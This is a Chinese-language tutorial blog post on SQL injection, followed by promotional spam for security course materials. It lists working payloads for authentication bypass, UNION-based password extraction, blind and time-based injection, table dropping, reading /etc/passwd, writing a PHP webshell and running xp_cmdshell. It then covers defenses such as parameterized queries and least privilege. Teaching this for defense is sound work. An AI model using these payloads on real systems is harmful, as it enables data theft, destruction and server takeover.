云计算百科
云计算领域专业知识百科平台

sql注入详解,看这篇就够了!

SQL注入详解

一、什么是SQL注入?

SQL注入(SQL Injection)是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击成功后可以获取、篡改或删除数据库数据,甚至控制服务器。

二、攻击原理

— 原始查询语句
SELECT * FROM users WHERE username = '[用户输入]' AND password = '[用户输入]'

— 攻击者输入:
用户名:admin' —
密码:任意值

— 最终执行的SQL:
SELECT * FROM users WHERE username = 'admin' –' AND password = '任意值'
— '–' 是SQL注释符,后续条件被忽略

三、常见攻击类型

1. 基于错误的注入

' OR 1=1 — — 永真条件
'
OR '1'='1

2. 联合查询注入

' UNION SELECT username, password FROM users —
'
UNION SELECT 1,@@version — — 获取数据库版本

3. 盲注
  • 布尔盲注:通过页面返回判断真假

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'

  • 时间盲注:通过延时判断

' AND IF(1=1,SLEEP(5),0) — — MySQL
'
; WAITFOR DELAY '0:0:5' — — SQL Server

4. 堆叠查询

'; DROP TABLE users; —
'
; UPDATE users SET password='hacked' WHERE id=1;

四、危险操作示例

1. 数据泄露

' UNION SELECT null,table_name FROM information_schema.tables

— MySQL系统表:
information_schema.tables — 所有表信息
information_schema.columns — 所有列信息
mysql.user — 用户信息(MySQL)

— SQL Server:
SELECT name FROM master..sysdatabases — 获取所有数据库

2. 文件操作

— MySQL读取文件:
' UNION SELECT LOAD_FILE('/etc/passwd') —

— MySQL写入文件(写webshell):
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

3. 命令执行

— SQL Server(需xp_cmdshell启用):
'; EXEC xp_cmdshell 'net user'

五、防御措施

1. 参数化查询(预编译语句)

# ❌ 错误:字符串拼接
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ 正确:参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

// Java PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);

2. 输入验证与过滤

// 白名单验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die('Invalid username');
}

// 转义特殊字符(作为辅助措施)
$username = mysqli_real_escape_string($conn, $username);

3. 最小权限原则

— 创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT, INSERT ON mydb.* TO 'webapp'@'localhost';
— 不要授予DROP、DELETE、FILE等权限

4. 其他防御措施
  • 使用ORM框架(Hibernate、Entity Framework等)
  • 启用WAF(Web应用防火墙)
  • 错误信息处理:不返回详细数据库错误给用户
  • 定期安全扫描

六、检测工具

  • 自动化工具:

    • SQLMap(最常用)
    • Havij
    • SQLninja
  • 手动检测步骤:

    1. 寻找输入点(表单、URL参数、Cookie)
    2. 测试特殊字符:' " ) ; —
    3. 尝试永真/永假条件
    4. 判断注入类型和数据库类型
    5. 获取数据库信息
    6. 提取数据

  • 七、实际案例

    GET /product?id=1' AND 1=CONVERT(int, @@version)– HTTP/1.1

    — 检测到SQL Server,进一步获取数据:
    GET /product?id=1' UNION SELECT name, password FROM users–

    八、法律声明

    ⚠️ 重要提醒:

    • SQL注入技术仅可用于授权的安全测试
    • 未经授权攻击他人系统是违法行为
    • 本文内容仅供学习防御之用

    最佳实践总结

  • 始终使用参数化查询
  • 实施最小权限原则
  • 对所有输入进行严格验证
  • 定期更新和打补丁
  • 进行安全代码审计
  • 使用Web应用防火墙
  • 记住:没有完全安全的系统,只有不断改进的安全实践。 保持警惕,持续学习新的安全技术是防御SQL注入的关键。

    网络安全学习资源分享:

    给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

    对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

    👉1.成长路线图&学习规划👈

    要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

    对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

    在这里插入图片描述 在这里插入图片描述

    👉2.网安入门到进阶视频教程👈

    很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈) 在这里插入图片描述

    在这里插入图片描述

    👉3.SRC&黑客文档👈

    大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

    SRC技术文籍:

    在这里插入图片描述

    黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)

    👉4.护网行动资料👈

    其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

    在这里插入图片描述

    👉5.黑客必读书单👈

    在这里插入图片描述

    👉6.网络安全岗面试题合集👈

    当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。 在这里插入图片描述 所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

    **读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

    在这里插入图片描述

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » sql注入详解,看这篇就够了!
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!